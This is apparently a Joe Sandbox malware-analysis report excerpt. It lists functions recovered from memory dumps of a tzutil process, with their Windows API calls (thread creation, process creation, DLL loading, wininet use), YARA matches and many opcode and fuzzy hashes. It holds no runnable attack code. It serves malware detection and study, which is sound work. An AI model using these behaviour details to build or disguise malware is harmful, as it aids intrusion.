Instruction ID: 1d5efd5f5e2832571b17351a36bd71e28d1c34b80a604337be9102498c84148e
Opcode Fuzzy Hash: 095edcf36f7c78eb4ed10802f7bac2e8840bf0c8ae122408d7d63725b0eab645
Instruction Fuzzy Hash: 8290023120100803D540A5D85608646000987E4305F51E415A5015555EC77588A17132

Function 03152A10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152A1A

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2ba00283b8b546e0dcc9c1aadfc542c4fa15356d5af6c7a5d87b311ab2caebe8
Instruction ID: 8d4e00bf96cff387386f7c64d0f6c8dcaf139952ed6f33c1493b5cb37a19531f
Opcode Fuzzy Hash: 2ba00283b8b546e0dcc9c1aadfc542c4fa15356d5af6c7a5d87b311ab2caebe8
Instruction Fuzzy Hash: E4900225221004030585E598070450B044997DA355391D419F1407590CC73188756332

Function 03152A80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152A8A

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 49e8688fa56752c31b5d4d0907b8a5e9b29e043c09676bd5eff047186f3b8a2d
Instruction ID: 0ed49d2962dadda5eb8b2ec8645fcae4cd693b4cf342c5da80c854978bdfbb80
Opcode Fuzzy Hash: 49e8688fa56752c31b5d4d0907b8a5e9b29e043c09676bd5eff047186f3b8a2d
Instruction Fuzzy Hash: 49900261202004034545B1984614616400E87E4205B51D425E1005590DC73588A17136

Function 03152AC0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152ACA

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cc268072bfb81343338d9da5b25b70cb9a1c921ba3a423a94acb88d6f9990ce9
Instruction ID: 58db927fe7c7874c32cdb9c024f88755c8fed1c27389e61f1fdde532c670d0f8
Opcode Fuzzy Hash: cc268072bfb81343338d9da5b25b70cb9a1c921ba3a423a94acb88d6f9990ce9
Instruction Fuzzy Hash: 1A90023160500C03D590B1984614746000987D4305F51D415A0015654DC7658A6576B2

Function 031529F0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 031529FA

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 66ce07f65e9b347b35e9a3eeeb34fea4e2363cdc489c2022f0eee4fa0ebe4547
Instruction ID: 4da6c4176fb75cf322a502623e7c0778e473cba2a4cb130d93fb0baf29037aa4
Opcode Fuzzy Hash: 66ce07f65e9b347b35e9a3eeeb34fea4e2363cdc489c2022f0eee4fa0ebe4547
Instruction Fuzzy Hash: FF900435311004030545F5DC0704507004FC7DD355351D435F1007550CD731CC717133

Function 03152F00 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152F0A

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d61de21315d2cd2cfe0822326a10694808b2803ffd61fe93b7249ebbb7356fe7
Instruction ID: bf9518848cdee3785db6057278d2062bb66799e88bb4b5e181ed0d0b32076c82
Opcode Fuzzy Hash: d61de21315d2cd2cfe0822326a10694808b2803ffd61fe93b7249ebbb7356fe7
Instruction Fuzzy Hash: 0F90022121180443D640A5A84E14B07000987D4307F51D519A0145554CCB2588716532

Function 03152E00 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152E0A

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5989dd27249a3ed77da551957e2ea2f10a0441f31ce0ccb536e2e3c694389c26
Instruction ID: 1ff6bf7eaf867e753173d03627cdf5bbe408d33229808aede361b0b5bf7bc0eb
Opcode Fuzzy Hash: 5989dd27249a3ed77da551957e2ea2f10a0441f31ce0ccb536e2e3c694389c26
Instruction Fuzzy Hash: 0790026120140803D580A5984A04607000987D4306F51D415A2055555ECB398C617136

Function 03152E50 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152E5A

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 00b725e4d899d232dfb4e220dac21ecf0bc469a95d03229b18d47201d9dbc2d0
Instruction ID: 059dd8c00137ab02b068e498fc8598f3667870439c758953a01590473c75052c
Opcode Fuzzy Hash: 00b725e4d899d232dfb4e220dac21ecf0bc469a95d03229b18d47201d9dbc2d0
Instruction Fuzzy Hash: 9790026134100843D540A1984614B060009C7E5305F51D419E1055554DC729CC627137

Function 03152ED0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152EDA

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f54403dfe03fad3e5084835fe6cd913443aebb00031af626f87d836bbea433fb
Instruction ID: ec688d6395225ab683ee09a4956b51650f41f051400d0b8bca5bc03dc999fa78
Opcode Fuzzy Hash: f54403dfe03fad3e5084835fe6cd913443aebb00031af626f87d836bbea433fb
Instruction Fuzzy Hash: 28900221601004434580B1A88A449064009ABE5215751D525A0989550DC76988756676

Function 03152D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152D1A

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7bac564e509e6cdb003493859d6ecc870cc323173b66c4f2c555707cdf2ac3a4
Instruction ID: 725e915a6f5e9056d22e6a229d3c29432fafc504c7ceaf5d04459c64defeb428
Opcode Fuzzy Hash: 7bac564e509e6cdb003493859d6ecc870cc323173b66c4f2c555707cdf2ac3a4
Instruction Fuzzy Hash: E590023120100813D551A1984704707000D87D4245F91D816A0415558DD7668962B132

Function 03152DA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152DAA

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: efe41588fb8496257c5bf6c164d28e9b867cc2370a98b9a050a128e47b1ced57
Instruction ID: 779fbb198ceccac22b9c1891128e63c078d95fb4d9c9ca3ba160f2133a84986d
Opcode Fuzzy Hash: efe41588fb8496257c5bf6c164d28e9b867cc2370a98b9a050a128e47b1ced57
Instruction Fuzzy Hash: B190022160100903D541B1984604616000E87D4245F91D426A1015555ECB3589A2B132

Function 03152C30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152C3A

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ec97ea9b9927f66706c723c6691ab343fdc152430ebd0866d21d5562442db2da
Instruction ID: 3ab406871a9b99588c2056cc7546b5c39db1984e03caf328afbc8e6ccc61eee7
Opcode Fuzzy Hash: ec97ea9b9927f66706c723c6691ab343fdc152430ebd0866d21d5562442db2da
Instruction Fuzzy Hash: 4590022921300403D5C0B198560860A000987D5206F91E819A0006558CCB2588796332

Function 03152C50 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152C5A

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 01d057e137eeb78ffc9b77efc99b44e8b1e795d8e5b0eb3082a395a1a109958c
Instruction ID: f3b35a2ad97a8c1010f555c65c2a5534c74d73178b82efecf74481d994eb5dfa
Opcode Fuzzy Hash: 01d057e137eeb78ffc9b77efc99b44e8b1e795d8e5b0eb3082a395a1a109958c
Instruction Fuzzy Hash: 1A90022130100403D580B19856186064009D7E5305F51E415E0405554CDB2588666233

Function 03152CF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03152CFA

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a7ef1c75fd536d473ecc88d80eb91d46cdb1d65839998c15c96867f108fa73eb
Instruction ID: f316cc7d8e05463e355a2bb4b0382d72c8bf715e2055f3e6d8a9ee646bbb0374
Opcode Fuzzy Hash: a7ef1c75fd536d473ecc88d80eb91d46cdb1d65839998c15c96867f108fa73eb
Instruction Fuzzy Hash: 46900221242045535985F1984604507400A97E4245791D416A1405950CC7369866E632

Function 031534E0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 031534EA

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ffc115e11d44cccfb0fb206efb30fb09f549f41e5708f3de9a3ac460e0ada7f9
Instruction ID: bf2cb34f0a458082e3968b3cfcb8363deaad2ad459efaf65608f35dc00bb2852
Opcode Fuzzy Hash: ffc115e11d44cccfb0fb206efb30fb09f549f41e5708f3de9a3ac460e0ada7f9
Instruction Fuzzy Hash: 3590023160510803D540A1984714706100987D4205F61D815A0415568DC7A5896175B3

Function 031538D0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 031538DA

Memory Dump Source

Source File: 00000004.00000002.49199051294.00000000030E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 030E0000, based on PE: true

Associated: 00000004.00000002.49199051294.0000000003209000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.49199051294.000000000320D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_30e0000_tzutil.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6ab3e9fca588bcf52c267a601cad12fc5593724b53a91b1b607a31238776e06c
Instruction ID: 2604309f6acbe5ea049ec03759888ce1d3c4f5d0ed9497039a3b961e43277df6
Opcode Fuzzy Hash: 6ab3e9fca588bcf52c267a601cad12fc5593724b53a91b1b607a31238776e06c
Instruction Fuzzy Hash: 5790022124505503D590B19C46046164009A7E4205F51D425A0805594DC76588657232

Function 0082114D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(UQ63g7r-,00000111,00000000,00000000), ref: 00821254

Strings

UQ63g7r-, xrefs: 0082125B, 0082125E
UQ63g7r-, xrefs: 00821249, 00821253, 00821264

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: UQ63g7r-$UQ63g7r-
API String ID: 1836367815-2341035416
Opcode ID: e1c25d61a32346dc8d004d841f9ed90adaa04ebb10f9600b25de5f3ab2dbb7f9
Instruction ID: 6d0492f440b232427385ab65d807d6c2c7af69ba8a1512d9e1e431d383142367
Opcode Fuzzy Hash: e1c25d61a32346dc8d004d841f9ed90adaa04ebb10f9600b25de5f3ab2dbb7f9
Instruction Fuzzy Hash: AC21D472A0425C7AEF01EE999C82DEFBB6CEF41794F008169FA04E7241D6249D558BE2

Function 008211D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(UQ63g7r-,00000111,00000000,00000000), ref: 00821254

Strings

UQ63g7r-, xrefs: 0082125B, 0082125E
UQ63g7r-, xrefs: 00821249, 00821253, 00821264

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: UQ63g7r-$UQ63g7r-
API String ID: 1836367815-2341035416
Opcode ID: 628f241b7f1b559bfb0e8fdbb7383d1f4dc0679f126a59f5884e36911a76a547
Instruction ID: b6b60f93c2d379d830fa703399dea66543b5e99579788d9325ac735f1b122e1a
Opcode Fuzzy Hash: 628f241b7f1b559bfb0e8fdbb7383d1f4dc0679f126a59f5884e36911a76a547
Instruction Fuzzy Hash: A611A1B290125C7AEB10ABE45CC2DEFBB7CEF81794F048168FA14F7241D6245E058BB2

Function 008211E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(UQ63g7r-,00000111,00000000,00000000), ref: 00821254

Strings

UQ63g7r-, xrefs: 0082125B, 0082125E
UQ63g7r-, xrefs: 00821249, 00821253, 00821264

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: UQ63g7r-$UQ63g7r-
API String ID: 1836367815-2341035416
Opcode ID: f03869fda7b0d1a7782fc448fc1cae66ffdd3959067e50402559fb878f61b7a5
Instruction ID: 1642b552b4be06215086e5d0b3ef4d68542f972d9e7fd260eb2a9ddbd17f5824
Opcode Fuzzy Hash: f03869fda7b0d1a7782fc448fc1cae66ffdd3959067e50402559fb878f61b7a5
Instruction Fuzzy Hash: 9F0161B290125C7AEB10ABE45C82DEF7B6CEF41694F048068FA14F7241D6245E058BA2

Function 00833E10 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 107sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 00833EDD

Strings

net.dll, xrefs: 00833EA1, 00833F28, 00833F08, 00833F14, 00833F34
wininet.dll, xrefs: 00833E78, 00833E84

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: c03434077a262bb91a166c5ced5b1df84fe2de735978dd3df07cd974cc944c52
Instruction ID: 6548a3baf2dc631caa21feeaca3f7ead9f85a5f51be8df367fde1daf4e7e88b5
Opcode Fuzzy Hash: c03434077a262bb91a166c5ced5b1df84fe2de735978dd3df07cd974cc944c52
Instruction Fuzzy Hash: BA316DB1A01605BBD714DFA4C885FEBBBB9FB88710F408119F61D9B241D774AA408BA5

Function 0082F8DD Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0082F8F7
CoUninitialize.COMBASE ref: 0082F9DE

Strings

@J7<, xrefs: 0082F90B

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: InitializeUninitialize
String ID: @J7<
API String ID: 3442037557-2016760708
Opcode ID: e3ac8dca9d4a5e2f21f3405cabb02933aee54d61612d24bb33dfc2b886692964
Instruction ID: b9bdc2afbfabbea048ca61fe8784d845c425ca5fdb15076bd3a4bce90321e9d8
Opcode Fuzzy Hash: e3ac8dca9d4a5e2f21f3405cabb02933aee54d61612d24bb33dfc2b886692964
Instruction Fuzzy Hash: 123165B5A00209AFCB00DFD8D8809EFB7B9FF88304F108569E505E7215D771AD45CBA0

Function 0082F8E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0082F8F7
CoUninitialize.COMBASE ref: 0082F9DE

Strings

@J7<, xrefs: 0082F90B

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: InitializeUninitialize
String ID: @J7<
API String ID: 3442037557-2016760708
Opcode ID: 1f689e5722081d79dd2b489bdd5053e9c44b1b93b73407c68c5540e258936cf8
Instruction ID: cc34366a8bbaf28a915eb2b556b5896601e8bc8a0bbf655945fedd458cb41068
Opcode Fuzzy Hash: 1f689e5722081d79dd2b489bdd5053e9c44b1b93b73407c68c5540e258936cf8
Instruction Fuzzy Hash: 883132B5A0020AAFDB00DFD8D8809EEB7B9FF88304F108569E505E7215D775AE45CBA0

Function 00824A0B Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59613f67ab0b44fc569472441be565e37fa422d4333c6dd1dd2efb647779117c
Instruction ID: 72cafbb48fb14179a41b857f4df56c54a2638f443419ce2ec3f42f8fc797045e
Opcode Fuzzy Hash: 59613f67ab0b44fc569472441be565e37fa422d4333c6dd1dd2efb647779117c
Instruction Fuzzy Hash: FE21BEB77402265FC315CA68F882BF9B728FB92325F110298F915CF281EA215E56C7F5

Function 00824A25 Relevance: 1.6, APIs: 1, Instructions: 96libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00824A02

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: aa15e0bea88f3d3eb8164487ffdb839de0913709777854031ac92b482dca4ce8
Instruction ID: 075f56a4642d3d698fb6b4086c0b247d94df469332ee98b037c7c2ad3c2f409a
Opcode Fuzzy Hash: aa15e0bea88f3d3eb8164487ffdb839de0913709777854031ac92b482dca4ce8
Instruction Fuzzy Hash: 5321C0377401768FCB11CE28E841AEAFF64FB92714B6152D8D465CB252D22298C687B4

Function 00824990 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00824A02

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: b799f33cdfcceec68cf2461573a55d2e37cccfb65537d172954ac166eadf2d1b
Instruction ID: 0c222e27c3694425f591d8861c08adb6ebc188960247024e26d893902e4ad910
Opcode Fuzzy Hash: b799f33cdfcceec68cf2461573a55d2e37cccfb65537d172954ac166eadf2d1b
Instruction Fuzzy Hash: 8801D2B5D4010DBBDB10EAA4DC46F9EB7B8EB54708F004195E909E7241F671EB54C792

Function 00839B50 Relevance: 1.5, APIs: 1, Instructions: 47processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,?,?,?,00828724,00000010,?,?,?,00000044,?,00000010,00828724,?,?,?), ref: 00839BB3

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: ba0705d331adb0827d90e0a0c05e4e99946108ce1be150fedcd619b1613f899a
Instruction ID: 8a6d91badb36a3f5f49f164cc08e80db8b1c1a869c472546fb9abd71ceee56ac
Opcode Fuzzy Hash: ba0705d331adb0827d90e0a0c05e4e99946108ce1be150fedcd619b1613f899a
Instruction Fuzzy Hash: 6901C0B2215108BBCB04DE99DC91EEB77ADEF8C754F118208FA09E3240D630F8518BA5

Function 00819F20 Relevance: 1.5, APIs: 1, Instructions: 38threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 00819F62

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: c463900b9fbcea7865d729dbd8ce692ca1e0d4df9bad2f7c5cf101c691f30119
Instruction ID: 281c2adec470c68d548bbac5e0d2e34578b0a0b22fd0c10c431fe80cdace633a
Opcode Fuzzy Hash: c463900b9fbcea7865d729dbd8ce692ca1e0d4df9bad2f7c5cf101c691f30119
Instruction Fuzzy Hash: 8DF06D3338070436E22061EDAC02FDBB79CEF85B61F140026F70CEA2C0D896F84186E5

Function 00819F1A Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 00819F62

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 5b05dc4f9ac00e1fb97425b4699cabbd5fdff5ea68f0ab42ae6c2005985b54c1
Instruction ID: fe356f182d2343797eb7b23d674e32fb328de6e863442cf7b3b591c23b6947f8
Opcode Fuzzy Hash: 5b05dc4f9ac00e1fb97425b4699cabbd5fdff5ea68f0ab42ae6c2005985b54c1
Instruction Fuzzy Hash: 47F0E5322407003AE73062AC8C02FDBAB9CDF85B60F240119F609EB2C0C591B44587E5

Function 00839A90 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00821E59,?,00835F17,00821E59,?,00835F17,?,00821E59,008359BF,00001000,?,00000000), ref: 00839AC9

Memory Dump Source

Source File: 00000004.00000002.49195883190.0000000000810000.00000040.80000000.00040000.00000000.sdmp, Offset: 00810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_tzutil.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ac00b1638777126d2cea74cea7df9c0d5320b23dccd002bc6f264aef07eeb62c
Instruction ID: c449e1616b496faaf1c04a105e77c282463591549b3dbdf5a4f86aaf08628db3
Opcode Fuzzy Hash: ac00b1638777126d2cea74cea7df9c0d5320b23dccd002bc6f264aef07eeb62c
Instruction Fuzzy Hash: 55E065762002087BCA14EE59DC41F9B77ACEFC9B10F004408FA48E7241C631B9108BB9

